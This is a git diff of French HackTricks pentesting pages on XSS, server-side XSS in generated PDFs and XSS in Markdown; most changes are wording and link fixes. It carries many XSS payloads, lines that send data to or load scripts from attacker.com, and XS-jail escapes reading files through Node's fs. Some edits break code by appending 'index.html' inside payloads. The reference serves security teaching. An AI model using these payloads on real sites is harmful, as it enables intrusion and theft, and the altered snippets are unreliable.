 - [ ] [**Rate Limit Bypass**](../rate-limit-bypass.md)
 - [ ] [**Reset Forgotten Password Bypass**](../reset-password.md)
@@ -93,21 +93,21 @@ Il existe plusieurs fonctionnalités spécifiques où des solutions de contourne
 
 ### **Objets structurés / Fonctionnalités spécifiques**
 
-Certaines fonctionnalités nécessiteront que **les données soient structurées dans un format très spécifique** (comme un objet sérialisé de langage ou XML). Par conséquent, il est plus facile d'identifier si l'application pourrait être vulnérable car elle doit traiter ce type de données.\
+Certaines fonctionnalités nécessiteront que **les données soient structurées dans un format très spécifique** (comme un objet sérialisé en langage ou XML). Par conséquent, il est plus facile d'identifier si l'application pourrait être vulnérable car elle doit traiter ce type de données.\
 Certaines **fonctionnalités spécifiques** peuvent également être vulnérables si un **format spécifique de l'entrée est utilisé** (comme les injections d'en-têtes d'e-mail).
 
-- [ ] [**Deserialization**](../deserialization/)
+- [ ] [**Deserialization**](../deserialization/index.html)
 - [ ] [**Email Header Injection**](../email-injections.md)
 - [ ] [**JWT Vulnerabilities**](../hacking-jwt-json-web-tokens.md)
 - [ ] [**XML External Entity**](../xxe-xee-xml-external-entity.md)
 
 ### Fichiers
 
-Les fonctionnalités qui permettent de télécharger des fichiers peuvent être vulnérables à plusieurs problèmes.\
-Les fonctionnalités qui génèrent des fichiers incluant des entrées utilisateur peuvent exécuter un code inattendu.\
-Les utilisateurs qui ouvrent des fichiers téléchargés par d'autres utilisateurs ou générés automatiquement incluant des entrées utilisateur peuvent être compromis.
+Les fonctionnalités qui permettent de télécharger des fichiers pourraient être vulnérables à plusieurs problèmes.\
+Les fonctionnalités qui génèrent des fichiers incluant des entrées utilisateur pourraient exécuter un code inattendu.\
+Les utilisateurs qui ouvrent des fichiers téléchargés par d'autres utilisateurs ou générés automatiquement incluant des entrées utilisateur pourraient être compromis.
 
-- [ ] [**File Upload**](../file-upload/)
+- [ ] [**File Upload**](../file-upload/index.html)
 - [ ] [**Formula Injection**](../formula-csv-doc-latex-ghostscript-injection.md)
 - [ ] [**PDF Injection**](../xss-cross-site-scripting/pdf-injection.md)
 - [ ] [**Server Side XSS**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
@@ -115,15 +115,15 @@ Les utilisateurs qui ouvrent des fichiers téléchargés par d'autres utilisateu
 ### **Gestion d'identité externe**
 
 - [ ] [**OAUTH to Account takeover**](../oauth-to-account-takeover.md)
-- [ ] [**SAML Attacks**](../saml-attacks/)
+- [ ] [**SAML Attacks**](../saml-attacks/index.html)
 
 ### **Autres vulnérabilités utiles**
 
-Ces vulnérabilités peuvent aider à exploiter d'autres vulnérabilités.
+Ces vulnérabilités pourraient aider à exploiter d'autres vulnérabilités.
 
 - [ ] [**Domain/Subdomain takeover**](../domain-subdomain-takeover.md)
 - [ ] [**IDOR**](../idor.md)
 - [ ] [**Parameter Pollution**](../parameter-pollution.md)
-- [ ] [**Unicode Normalization vulnerability**](../unicode-injection/)
+- [ ] [**Unicode Normalization vulnerability**](../unicode-injection/index.html)
 
 {{#include ../../banners/hacktricks-training.md}}

src/pentesting-web/xss-cross-site-scripting/README.md

@@ -11,7 +11,7 @@
 2. Pouvez-vous utiliser des événements ou des attributs supportant le protocole `javascript:` ?
 3. Pouvez-vous contourner les protections ?
 4. Le contenu HTML est-il interprété par un moteur JS côté client (_AngularJS_, _VueJS_, _Mavo_...), vous pourriez abuser d'une [**Injection de Template Côté Client**](../client-side-template-injection-csti.md).
-5. Si vous ne pouvez pas créer de balises HTML qui exécutent du code JS, pourriez-vous abuser d'une [**Injection de Marquage Dangling - HTML sans script**](../dangling-markup-html-scriptless-injection/) ?
+5. Si vous ne pouvez pas créer de balises HTML qui exécutent du code JS, pourriez-vous abuser d'une [**Injection de Marquage Dangling - HTML sans script**](../dangling-markup-html-scriptless-injection/index.html) ?
 2. À l'intérieur d'une **balise HTML** :
 1. Pouvez-vous sortir du contexte HTML brut ?
 2. Pouvez-vous créer de nouveaux événements/attributs pour exécuter du code JS ?
@@ -23,7 +23,7 @@
 3. Vos entrées sont-elles dans des littéraux de template \`\` ?
 4. Pouvez-vous contourner les protections ?
 4. Fonction JavaScript **exécutée**
-1. Vous pouvez indiquer le nom de la fonction à exécuter. par ex. : `?callback=alert(1)`
+1. Vous pouvez indiquer le nom de la fonction à exécuter. par exemple : `?callback=alert(1)`
 4. Si **utilisée** :
 1. Vous pourriez exploiter un **DOM XSS**, faites attention à la façon dont votre entrée est contrôlée et si votre **entrée contrôlée est utilisée par un sink.**
 
@@ -47,7 +47,7 @@ Lorsque vous essayez d'exploiter un XSS, la première chose que vous devez savoi
 
 ### HTML brut
 
-Si votre entrée est **réfléchie sur la page HTML brute**, vous devrez abuser de certaines **balises HTML** afin d'exécuter du code JS : `<img , <iframe , <svg , <script` ... ce ne sont que quelques-unes des nombreuses balises HTML possibles que vous pourriez utiliser.\
+Si votre entrée est **réfléchie dans le HTML brut** de la page, vous devrez abuser de certaines **balises HTML** afin d'exécuter du code JS : `<img , <iframe , <svg , <script` ... ce ne sont que quelques-unes des nombreuses balises HTML possibles que vous pourriez utiliser.\
 De plus, gardez à l'esprit [Injection de Template Côté Client](../client-side-template-injection-csti.md).
 
 ### À l'intérieur des attributs de balises HTML
@@ -56,8 +56,8 @@ Si votre entrée est réfléchie à l'intérieur de la valeur de l'attribut d'un
 
 1. D'**échapper de l'attribut et de la balise** (alors vous serez dans le HTML brut) et de créer une nouvelle balise HTML à abuser : `"><img [...]`
 2. Si vous **pouvez échapper de l'attribut mais pas de la balise** (`>` est encodé ou supprimé), selon la balise, vous pourriez **créer un événement** qui exécute du code JS : `" autofocus onfocus=alert(1) x="`
-3. Si vous **ne pouvez pas échapper de l'attribut** (`"` est encodé ou supprimé), alors selon **quel attribut** votre valeur est réfléchie **si vous contrôlez toute la valeur ou juste une partie**, vous serez en mesure de l'abuser. Par **exemple**, si vous contrôlez un événement comme `onclick=`, vous serez en mesure de le faire exécuter du code arbitraire lorsqu'il est cliqué. Un autre **exemple** intéressant est l'attribut `href`, où vous pouvez utiliser le protocole `javascript:` pour exécuter du code arbitraire : **`href="javascript:alert(1)"`**
-4. Si votre entrée est réfléchie à l'intérieur de "**balises non exploitables**", vous pourriez essayer le truc **`accesskey`** pour abuser de la vulnérabilité (vous aurez besoin d'une sorte d'ingénierie sociale pour exploiter cela) : **`" accesskey="x" onclick="alert(1)" x="`**
+3. Si vous **ne pouvez pas échapper de l'attribut** (`"` est encodé ou supprimé), alors selon **quel attribut** votre valeur est réfléchie et **si vous contrôlez toute la valeur ou juste une partie**, vous serez en mesure de l'abuser. Par **exemple**, si vous contrôlez un événement comme `onclick=`, vous serez en mesure de le faire exécuter du code arbitraire lorsqu'il est cliqué. Un autre **exemple** intéressant est l'attribut `href`, où vous pouvez utiliser le protocole `javascript:` pour exécuter du code arbitraire : **`href="javascript:alert(1)"`**
+4. Si votre entrée est réfléchie à l'intérieur de "**balises non exploitables**", vous pourriez essayer le truc de **`accesskey`** pour abuser de la vulnérabilité (vous aurez besoin d'une sorte d'ingénierie sociale pour exploiter cela) : **`" accesskey="x" onclick="alert(1)" x="`**
 
 Exemple étrange d'Angular exécutant XSS si vous contrôlez un nom de classe :
 ```html
@@ -69,12 +69,12 @@ Exemple étrange d'Angular exécutant XSS si vous contrôlez un nom de classe :
 
 Dans ce cas, votre entrée est reflétée entre les balises **`<script> [...] </script>`** d'une page HTML, à l'intérieur d'un fichier `.js` ou à l'intérieur d'un attribut utilisant le protocole **`javascript:`** :
 
-- Si reflété entre les balises **`<script> [...] </script>`**, même si votre entrée est à l'intérieur de n'importe quel type de guillemets, vous pouvez essayer d'injecter `</script>` et de vous échapper de ce contexte. Cela fonctionne parce que le **navigateur analysera d'abord les balises HTML** puis le contenu, donc il ne remarquera pas que votre balise `</script>` injectée est à l'intérieur du code HTML.
-- Si reflété **à l'intérieur d'une chaîne JS** et que le dernier truc ne fonctionne pas, vous devrez **sortir** de la chaîne, **exécuter** votre code et **reconstruire** le code JS (s'il y a une erreur, il ne sera pas exécuté) :
+- Si elle est reflétée entre les balises **`<script> [...] </script>`**, même si votre entrée est à l'intérieur de n'importe quel type de guillemets, vous pouvez essayer d'injecter `</script>` et de vous échapper de ce contexte. Cela fonctionne parce que le **navigateur analysera d'abord les balises HTML** puis le contenu, donc il ne remarquera pas que votre balise `</script>` injectée est à l'intérieur du code HTML.
+- Si elle est reflétée **à l'intérieur d'une chaîne JS** et que le dernier truc ne fonctionne pas, vous devrez **sortir** de la chaîne, **exécuter** votre code et **reconstruire** le code JS (s'il y a une erreur, il ne sera pas exécuté) :
 - `'-alert(1)-'`
 - `';-alert(1)//`
 - `\';alert(1)//`
-- Si reflété à l'intérieur de littéraux de modèle, vous pouvez **intégrer des expressions JS** en utilisant la syntaxe `${ ... }` : `` var greetings = `Hello, ${alert(1)}` ``
+- Si elle est reflétée à l'intérieur de littéraux de modèle, vous pouvez **intégrer des expressions JS** en utilisant la syntaxe `${ ... }` : `` var greetings = `Hello, ${alert(1)}` ``
 - **L'encodage Unicode** fonctionne pour écrire **du code javascript valide** :
 ```javascript
 alert(1)
@@ -132,7 +132,7 @@ dom-xss.md
 
 ### **Universal XSS**
 
-Ces types de XSS peuvent être trouvés **partout**. Ils ne dépendent pas seulement de l'exploitation côté client d'une application web mais de **tout** **contexte**. Ces types d'**exécution JavaScript arbitraire** peuvent même être utilisés pour obtenir **RCE**, **lire** des **fichiers** **arbitraires** sur les clients et les serveurs, et plus encore.\
+Ces types de XSS peuvent être trouvés **partout**. Ils ne dépendent pas seulement de l'exploitation côté client d'une application web mais de **tout** **contexte**. Ces types d'**exécution JavaScript arbitraire** peuvent même être abusés pour obtenir **RCE**, **lire** des **fichiers** **arbitraires** sur les clients et les serveurs, et plus encore.\
 Quelques **exemples** :
 
 {{#ref}}
@@ -161,12 +161,12 @@ alert(1)
 <img src="x" onerror="alert(1)" />
 <svg onload=alert('XSS')>
 ```
-Mais, si le filtrage des tags/attributs est utilisé, vous devrez **forcer par brute les tags** que vous pouvez créer.\
-Une fois que vous avez **localisé quels tags sont autorisés**, vous devrez **forcer par brute les attributs/événements** à l'intérieur des tags valides trouvés pour voir comment vous pouvez attaquer le contexte.
+Mais, si le filtrage des tags/attributs est utilisé, vous devrez **forcer le brute-force des tags** que vous pouvez créer.\
+Une fois que vous avez **localisé quels tags sont autorisés**, vous devrez **forcer le brute-force des attributs/événements** à l'intérieur des tags valides trouvés pour voir comment vous pouvez attaquer le contexte.
 
-### Force brute des Tags/Événements
+### Brute-force des tags/événements
 
-Allez sur [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) et cliquez sur _**Copier les tags dans le presse-papiers**_. Ensuite, envoyez-les tous en utilisant Burp intruder et vérifiez si des tags n'ont pas été découverts comme malveillants par le WAF. Une fois que vous avez découvert quels tags vous pouvez utiliser, vous pouvez **forcer par brute tous les événements** en utilisant les tags valides (sur la même page web, cliquez sur _**Copier les événements dans le presse-papiers**_ et suivez la même procédure qu'auparavant).
+Allez sur [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) et cliquez sur _**Copier les tags dans le presse-papiers**_. Ensuite, envoyez-les tous en utilisant Burp intruder et vérifiez si des tags n'ont pas été découverts comme malveillants par le WAF. Une fois que vous avez découvert quels tags vous pouvez utiliser, vous pouvez **forcer le brute-force de tous les événements** en utilisant les tags valides (dans la même page web, cliquez sur _**Copier les événements dans le presse-papiers**_ et suivez la même procédure qu'auparavant).
 
 ### Tags personnalisés
 
@@ -233,7 +233,7 @@ onerror=alert`1`
 <!-- Taken from the blog of Jorge Lajara -->
 <svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
 ```
-Les derniers utilisent 2 caractères unicode qui s'étendent à 5 : telsr\
+Les deux derniers utilisent 2 caractères unicode qui s'étendent à 5 : telsr\
 Plus de ces caractères peuvent être trouvés [ici](https://www.unicode.org/charts/normalization/).\
 Pour vérifier dans quels caractères sont décomposés, vérifiez [ici](https://www.compart.com/en/unicode/U+2121).
 
@@ -243,7 +243,7 @@ Si pour exploiter la vulnérabilité vous avez besoin que **l'utilisateur clique
 
 ### Impossible - Dangling Markup
 
-Si vous pensez juste que **c'est impossible de créer une balise HTML avec un attribut pour exécuter du code JS**, vous devriez vérifier [**Dangling Markup**](../dangling-markup-html-scriptless-injection/) car vous pourriez **exploiter** la vulnérabilité **sans** exécuter de **code JS**.
+Si vous pensez juste que **c'est impossible de créer une balise HTML avec un attribut pour exécuter du code JS**, vous devriez vérifier [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html) car vous pourriez **exploiter** la vulnérabilité **sans** exécuter de **code JS**.
 
 ## Injection à l'intérieur de la balise HTML
 
@@ -325,7 +325,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
 ```
 **Lieux où vous pouvez injecter ces protocoles**
 
-**En général**, le protocole `javascript:` peut être **utilisé dans n'importe quelle balise qui accepte l'attribut `href`** et dans **la plupart** des balises qui acceptent l'**attribut `src`** (mais pas `<img`)
+**En général**, le protocole `javascript:` peut être **utilisé dans n'importe quelle balise qui accepte l'attribut `href`** et dans **la plupart** des balises qui acceptent l'**attribut `src`** (mais pas `<img>`)
 ```markup
 <a href="javascript:alert(1)">
 <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@@ -351,7 +351,7 @@ _**Dans ce cas, l'encodage HTML et l'astuce d'encodage Unicode de la section pr
 ```javascript
 <a href="javascript:var a='&apos;-alert(1)-&apos;'">
 ```
-De plus, il existe une autre **astuce sympa** pour ces cas : **Même si votre entrée à l'intérieur de `javascript:...` est encodée en URL, elle sera décodée en URL avant d'être exécutée.** Donc, si vous devez **vous échapper** de la **chaîne** en utilisant une **apostrophe** et que vous voyez qu'elle **est encodée en URL**, rappelez-vous que **cela n'a pas d'importance,** elle sera **interprétée** comme une **apostrophe** pendant le **temps d'exécution**.
+De plus, il existe une **jolie astuce** pour ces cas : **Même si votre entrée à l'intérieur de `javascript:...` est encodée en URL, elle sera décodée en URL avant d'être exécutée.** Donc, si vous devez **vous échapper** de la **chaîne** en utilisant une **apostrophe** et que vous voyez qu'elle **est encodée en URL**, rappelez-vous que **peu importe,** elle sera **interprétée** comme une **apostrophe** pendant le **temps d'exécution**.
 ```javascript
 &apos;-alert(1)-&apos;
 %27-alert(1)-%27
@@ -422,11 +422,11 @@ onbeforetoggle="alert(2)" />
 <button popovertarget="newsletter">Subscribe to newsletter</button>
 <div popover id="newsletter">Newsletter popup</div>
 ```
-Depuis [**ici**](https://portswigger.net/research/xss-in-hidden-input-fields) : Vous pouvez exécuter un **payload XSS à l'intérieur d'un attribut caché**, à condition de **persuader** la **victime** d'appuyer sur la **combinaison de touches**. Sur Firefox Windows/Linux, la combinaison de touches est **ALT+SHIFT+X** et sur OS X, c'est **CTRL+ALT+X**. Vous pouvez spécifier une combinaison de touches différente en utilisant une autre touche dans l'attribut d'accès. Voici le vecteur :
+Depuis [**ici**](https://portswigger.net/research/xss-in-hidden-input-fields) : Vous pouvez exécuter une **charge utile XSS à l'intérieur d'un attribut caché**, à condition de pouvoir **persuader** la **victime** d'appuyer sur la **combinaison de touches**. Sur Firefox Windows/Linux, la combinaison de touches est **ALT+SHIFT+X** et sur OS X, c'est **CTRL+ALT+X**. Vous pouvez spécifier une combinaison de touches différente en utilisant une autre touche dans l'attribut de clé d'accès. Voici le vecteur :
 ```markup
 <input type="hidden" accesskey="X" onclick="alert(1)">
 ```
-**Le payload XSS sera quelque chose comme ceci : `" accesskey="x" onclick="alert(1)" x="`**
+**La charge utile XSS sera quelque chose comme ceci : `" accesskey="x" onclick="alert(1)" x="`**
 
 ### Contournements de liste noire
 
@@ -488,7 +488,7 @@ Si `<>` sont assainis, vous pouvez toujours **échapper la chaîne** où votre e
 ```
 ### Template literals \`\`
 
-Pour construire des **chaînes** en plus des guillemets simples et doubles, JS accepte également les **backticks** **` `` `**. Cela s'appelle des littéraux de modèle car ils permettent d'**imbriquer des expressions JS** en utilisant la syntaxe `${ ... }`.\
+Pour construire des **chaînes** en plus des guillemets simples et doubles, JS accepte également les **backticks** **` `` `**. Cela est connu sous le nom de littéraux de modèle car ils permettent d'**imbriquer des expressions JS** en utilisant la syntaxe `${ ... }`.\
 Par conséquent, si vous constatez que votre entrée est **réfléchie** à l'intérieur d'une chaîne JS utilisant des backticks, vous pouvez abuser de la syntaxe `${ ... }` pour exécuter du **code JS arbitraire** :
 
 Cela peut être **abusé** en utilisant :
@@ -562,7 +562,7 @@ eval(8680439..toString(30))(983801..toString(36))
 #!This is a 1 line comment, but "#!" must to be at the beggining of the first line
 -->This is a 1 line comment, but "-->" must to be at the beggining of the first line
 ```
-**Nouveaux lignes JavaScript (à partir de** [**truc de nouvelle ligne JavaScript**](#javascript-new-lines) **)**
+**Sauts de ligne JavaScript (à partir de** [**truc de saut de ligne JavaScript**](#javascript-new-lines) **)**
 ```javascript
 //Javascript interpret as new line these chars:
 String.fromCharCode(10)
@@ -746,13 +746,13 @@ dom-xss.md
 {{#endref}}
 
 Là, vous trouverez une **explication détaillée de ce que sont les vulnérabilités DOM, comment elles sont provoquées et comment les exploiter**.\
-De plus, n'oubliez pas qu'**à la fin du post mentionné**, vous pouvez trouver une explication sur les [**attaques de DOM Clobbering**](dom-xss.md#dom-clobbering).
+De plus, n'oubliez pas qu'**à la fin du post mentionné**, vous pouvez trouver une explication sur [**les attaques de DOM Clobbering**](dom-xss.md#dom-clobbering).
 
 ### Amélioration du Self-XSS
 
 ### Cookie XSS
 
-Si vous pouvez déclencher un XSS en envoyant la charge utile à l'intérieur d'un cookie, c'est généralement un self-XSS. Cependant, si vous trouvez un **sous-domaine vulnérable au XSS**, vous pourriez abuser de ce XSS pour injecter un cookie dans tout le domaine, réussissant à déclencher le cookie XSS dans le domaine principal ou d'autres sous-domaines (ceux vulnérables au cookie XSS). Pour cela, vous pouvez utiliser l'attaque de cookie tossing :
+Si vous pouvez déclencher un XSS en envoyant la charge utile dans un cookie, c'est généralement un self-XSS. Cependant, si vous trouvez un **sous-domaine vulnérable au XSS**, vous pourriez abuser de ce XSS pour injecter un cookie dans tout le domaine, réussissant à déclencher le cookie XSS dans le domaine principal ou d'autres sous-domaines (ceux vulnérables au cookie XSS). Pour cela, vous pouvez utiliser l'attaque de cookie tossing :
 
 {{#ref}}
 ../hacking-with-cookies/cookie-tossing.md
@@ -782,7 +782,7 @@ Vous pourriez vérifier si les **valeurs réfléchies** sont **normalisées en u
 ```
 ### Ruby-On-Rails bypass
 
-En raison de **l'assignation de masse RoR**, des guillemets sont insérés dans le HTML et ensuite la restriction de guillemets est contournée et des champs supplémentaires (onfocus) peuvent être ajoutés à l'intérieur de la balise.\
+En raison de **l'attribution de masse RoR**, des guillemets sont insérés dans le HTML et ensuite la restriction de guillemets est contournée et des champs supplémentaires (onfocus) peuvent être ajoutés à l'intérieur de la balise.\
 Exemple de formulaire ([de ce rapport](https://hackerone.com/reports/709336)), si vous envoyez la charge utile :
 ```
 contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
@@ -900,7 +900,7 @@ import { partition } from "lodash"
 ```
 Ce comportement a été utilisé dans [**ce rapport**](https://github.com/zwade/yaca/tree/master/solution) pour remapper une bibliothèque à eval afin d'abuser de son déclenchement de XSS.
 
-- [**règlesdespeculation**](https://github.com/WICG/nav-speculation)**:** Cette fonctionnalité vise principalement à résoudre certains problèmes causés par le pré-rendu. Cela fonctionne comme suit :
+- [**règles de spéculation**](https://github.com/WICG/nav-speculation)**:** Cette fonctionnalité vise principalement à résoudre certains problèmes causés par le pré-rendu. Cela fonctionne comme suit :
 ```html
 <script type="speculationrules">
 {
@@ -926,8 +926,8 @@ Ce comportement a été utilisé dans [**ce rapport**](https://github.com/zwade/
 - text/xml
 - image/svg+xml
 - text/plain (?? pas dans la liste mais je pense avoir vu cela dans un CTF)
-- application/rss+xml (off)
-- application/atom+xml (off)
+- application/rss+xml (désactivé)
+- application/atom+xml (désactivé)
 
 Dans d'autres navigateurs, d'autres **`Content-Types`** peuvent être utilisés pour exécuter du JS arbitraire, vérifiez : [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
 
@@ -953,7 +953,7 @@ Par exemple, dans [**ce rapport**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA
 chrome-cache-to-xss.md
 {{#endref}}
 
-### Évasion des Prisons XS
+### Évasion des XS Jails
 
 Si vous n'avez qu'un ensemble limité de caractères à utiliser, vérifiez ces autres solutions valides pour les problèmes XSJail :
 ```javascript
@@ -963,7 +963,7 @@ eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequir
 
 // use of with
 with(console)log(123)
-with(/console.log(1)/)with(this)with(constructor)constructor(source)()
+with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
 // Just replace console.log(1) to the real code, the code we want to run is:
 //return String(process.mainModule.require('fs').readFileSync('flag.txt'))
 
@@ -986,7 +986,7 @@ constructor(source)()
 // For more uses of with go to challenge misc/CaaSio PSE in
 // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
 ```
-Si **tout est indéfini** avant d'exécuter du code non fiable (comme dans [**ce rapport**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), il est possible de générer des objets utiles "à partir de rien" pour abuser de l'exécution de code non fiable arbitraire :
+Si **tout est indéfini** avant d'exécuter du code non fiable (comme dans [**cet article**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), il est possible de générer des objets utiles "à partir de rien" pour abuser de l'exécution de code non fiable arbitraire :
 
 - En utilisant import()
 ```javascript
@@ -1010,7 +1010,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
 )
 })()
 ```
-De manière similaire à l'exemple précédent, il est possible d'**utiliser des gestionnaires d'erreurs** pour accéder au **wrapper** du module et obtenir la fonction **`require`** :
+De la même manière que dans l'exemple précédent, il est possible d'**utiliser des gestionnaires d'erreurs** pour accéder au **wrapper** du module et obtenir la fonction **`require`** :
 ```javascript
 try {
 null.f()
@@ -1405,7 +1405,7 @@ changeReq.send('csrf='+token+'&email=test@test.com')
 };
 </script>
 ```
-### Voler des messages PostMessage
+### Vol de messages PostMessage
 ```markup
 <img src="https://attacker.com/?" id=message>
 <script>
@@ -1419,7 +1419,7 @@ document.getElementById("message").src += "&"+e.data;
 abusing-service-workers.md
 {{#endref}}
 
-### Accéder au Shadow DOM
+### Accès au Shadow DOM
 
 {{#ref}}
 shadow-dom.md
@@ -1475,7 +1475,7 @@ Vous pouvez également utiliser : [https://xsshunter.com/](https://xsshunter.com
 ```
 ### Regex - Accéder au contenu caché
 
-D'après [**cet article**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay), il est possible d'apprendre que même si certaines valeurs disparaissent du JS, il est toujours possible de les trouver dans les attributs JS dans différents objets. Par exemple, une entrée d'un REGEX est toujours possible à trouver après que la valeur de l'entrée du regex a été supprimée :
+D'après [**cet article**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay), il est possible d'apprendre que même si certaines valeurs disparaissent de JS, il est toujours possible de les trouver dans les attributs JS dans différents objets. Par exemple, une entrée d'un REGEX est toujours possible à trouver après que la valeur de l'entrée du regex a été supprimée :
 ```javascript
 // Do regex with flag
 flag = "CTF{FLAG}"
@@ -1502,7 +1502,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
 
 ### XSS dans Markdown
 
-Peut-on injecter du code Markdown qui sera rendu ? Peut-être que vous pouvez obtenir XSS ! Vérifiez :
+Peut injecter du code Markdown qui sera rendu ? Peut-être que vous pouvez obtenir XSS ! Vérifiez :
 
 {{#ref}}
 xss-in-markdown.md
@@ -1520,7 +1520,7 @@ Plus d'informations sur cette technique ici : [**XSLT**](../xslt-server-side-inj
 ### XSS dans un PDF créé dynamiquement
 
 Si une page web crée un PDF en utilisant des entrées contrôlées par l'utilisateur, vous pouvez essayer de **tromper le bot** qui crée le PDF pour qu'il **exécute du code JS arbitraire**.\
-Donc, si le **bot créateur de PDF trouve** une sorte de **balises HTML**, il va les **interpréter**, et vous pouvez **abuser** de ce comportement pour provoquer un **XSS côté serveur**.
+Donc, si le **bot créateur de PDF trouve** une sorte de **balises HTML**, il va les **interpréter**, et vous pouvez **abuser** de ce comportement pour provoquer un **XSS serveur**.
 
 {{#ref}}
 server-side-xss-dynamic-pdf.md

src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md

@@ -5,10 +5,10 @@
 ## Server Side XSS (Dynamic PDF)
 
 Si une page web crée un PDF en utilisant des entrées contrôlées par l'utilisateur, vous pouvez essayer de **tromper le bot** qui crée le PDF pour qu'il **exécute du code JS arbitraire**.\
-Donc, si le **bot créateur de PDF trouve** une sorte de **tags HTML**, il va **les interpréter**, et vous pouvez **abuser** de ce comportement pour provoquer un **XSS Serveur**.
+Ainsi, si le **bot créateur de PDF trouve** une sorte de **balises HTML**, il va les **interpréter**, et vous pouvez **abuser** de ce comportement pour provoquer un **XSS côté serveur**.
 
-Veuillez noter que les tags `<script></script>` ne fonctionnent pas toujours, donc vous aurez besoin d'une méthode différente pour exécuter JS (par exemple, en abusant de `<img` ).\
-De plus, notez que dans une exploitation régulière, vous serez **capable de voir/télécharger le PDF créé**, donc vous pourrez voir tout ce que vous **écrivez via JS** (en utilisant `document.write()` par exemple). Mais, si vous **ne pouvez pas voir** le PDF créé, vous aurez probablement besoin **d'extraire l'information en faisant des requêtes web vers vous** (Blind).
+Veuillez noter que les balises `<script></script>` ne fonctionnent pas toujours, donc vous aurez besoin d'une méthode différente pour exécuter JS (par exemple, en abusant de `<img` ).\
+De plus, notez que dans une exploitation normale, vous serez **capable de voir/télécharger le PDF créé**, donc vous pourrez voir tout ce que vous **écrivez via JS** (en utilisant `document.write()` par exemple). Mais, si vous **ne pouvez pas voir** le PDF créé, vous aurez probablement besoin **d'extraire l'information en faisant des requêtes web vers vous** (Aveugle).
 
 ### Génération de PDF populaire
 
@@ -60,7 +60,7 @@ alert(1);
 </script>
 </svg>
 ```
-Vous pouvez trouver beaucoup **d'autres charges utiles SVG** dans [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
+Vous pouvez trouver beaucoup **d'autres charges utiles SVG** sur [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
 
 ### Divulgation de chemin
 ```markup
@@ -71,7 +71,7 @@ if not, you will at least have wich path the bot is accessing -->
 ```
 ### Charger un script externe
 
-La meilleure façon conforme d'exploiter cette vulnérabilité est d'abuser de la vulnérabilité pour faire en sorte que le bot charge un script que vous contrôlez localement. Ensuite, vous pourrez modifier la charge utile localement et faire en sorte que le bot la charge avec le même code à chaque fois.
+La meilleure façon conforme d'exploiter cette vulnérabilité est d'abuser de la vulnérabilité pour faire en sorte que le bot charge un script que vous contrôlez localement. Ensuite, vous pourrez modifier le payload localement et faire en sorte que le bot le charge avec le même code à chaque fois.
 ```markup
 <script src="http://attacker.com/myscripts.js"></script>
 <img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
@@ -145,15 +145,15 @@ checkPort(i);
 </script>
 <img src="https://attacker.com/startingScan">
 ```
-### [SSRF](../ssrf-server-side-request-forgery/)
+### [SSRF](../ssrf-server-side-request-forgery/index.html)
 
-Cette vulnérabilité peut être transformée très facilement en SSRF (car vous pouvez faire en sorte que le script charge des ressources externes). Essayez donc de l'exploiter (lire des métadonnées ?).
+Cette vulnérabilité peut être transformée très facilement en SSRF (car vous pouvez faire en sorte que le script charge des ressources externes). Alors essayez simplement de l'exploiter (lire des métadonnées ?).
 
-### Attachments: PD4ML
+### Attachments : PD4ML
 
 Il existe des moteurs HTML 2 PDF qui permettent de **spécifier des pièces jointes pour le PDF**, comme **PD4ML**. Vous pouvez abuser de cette fonctionnalité pour **joindre n'importe quel fichier local** au PDF.\
 Pour ouvrir la pièce jointe, j'ai ouvert le fichier avec **Firefox et double-cliqué sur le symbole du trombone** pour **enregistrer la pièce jointe** en tant que nouveau fichier.\
-La capture de la **réponse PDF** avec burp devrait également **afficher la pièce jointe en texte clair** à l'intérieur du PDF.
+Capturer la **réponse PDF** avec burp devrait également **montrer la pièce jointe en texte clair** à l'intérieur du PDF.
 ```html
 <!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
 <html>

src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md

@@ -61,7 +61,7 @@ Exemple de payloads :
 <div
 id="1
 
-![](contenteditable/autofocus/onfocus=confirm('qwq')//)">
+![](contenteditable/autofocus/onfocus=confirm('qwq')//index.html)">
 -----------------------------------------------
 <a
 title="a

src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/no-exec-nx.md

@@ -4,12 +4,12 @@
 
 ## Informations de base
 
